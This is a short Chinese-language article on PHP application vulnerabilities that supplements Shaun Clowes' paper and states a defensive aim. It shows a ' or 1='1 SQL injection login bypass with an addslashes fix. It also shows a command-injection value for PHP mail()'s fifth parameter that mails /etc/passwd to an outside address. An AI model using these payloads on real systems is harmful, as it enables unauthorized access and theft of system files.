a study in scarlet - exploiting common vulnerabilities in php applications
之狗尾续貂
by san@netguard.com.cn
shaun clowes的文章exploiting common vulnerabilities in php applications的确写的很棒,
考虑到了很多方面,我这个文章只是狗尾续貂,补充一些其它没怎么提到的问题。本文侧重于解决问题,而不是
攻击。
1、古老的欺骗sql语句
在默认模式下,即使是你忘了把php.ini拷到/usr/local/lib/php.ini下,php还是打开magic_quotes_gpc=on。
这样所有从get/post/cookie来的变量的单引号(')、双引号(")、反斜杠backslash(\)以及空字元nul
(the null byte)都会被加上反斜杠,以使数据库能够正确查询。
但是在php-4-rc2的时候引入了一个配置文件php.ini-optimized,这个优化的php.ini却是
magic_quotes_gpc=off的。某些网管看到optimized字样也许就会把php.ini-optimized拷到
/usr/local/lib/php.ini,这时就比较危险。象比较简单的验证,假设没有过滤必要的字符:
select * from login where user='$http_post_vars[user]' and pass='$http_post_vars[pass]'
我们就可以在用户框和密码框输入1‘ or 1='1通过验证了。这是非常古董的方法了,这个语句会
替换成这样:
select * from login where user='1' or 1='1' and pass='1' or 1='1'
因为or 1='1'成立,所以通过了。
解决的办法最好就是过滤所有不必要的字符,还有就是推荐对于从get/post/cookie来的并且用在sql
中的变量加一个自定义的函数:
function gpc2sql($str) {
if(get_magic_quotes_gpc()==1)
return $str;
else
return addslashes($str);
}
主要是为了你的程序能安全移植在各种系统里。
2、mail函数的第五个参数
在php-4.0.5的时候,mail函数引入了第五个参数,用来设置在实际发送邮件的时候增加额外的命令行参数,
但是没有很好的检查特殊shell命令字符,所以出现执行命令的大问题。就像手册里的例子:
mail("nobody@aol.com", "the subject", $message, "from: webmaster@$server_name", "-fwebmaster@$servername");
这个是存在问题的,如果$server_name=;mail san@xfocus.org < /etc/passwd就能把机器的密码发送
到我的信箱了。
| 对此文章发表了评论 |
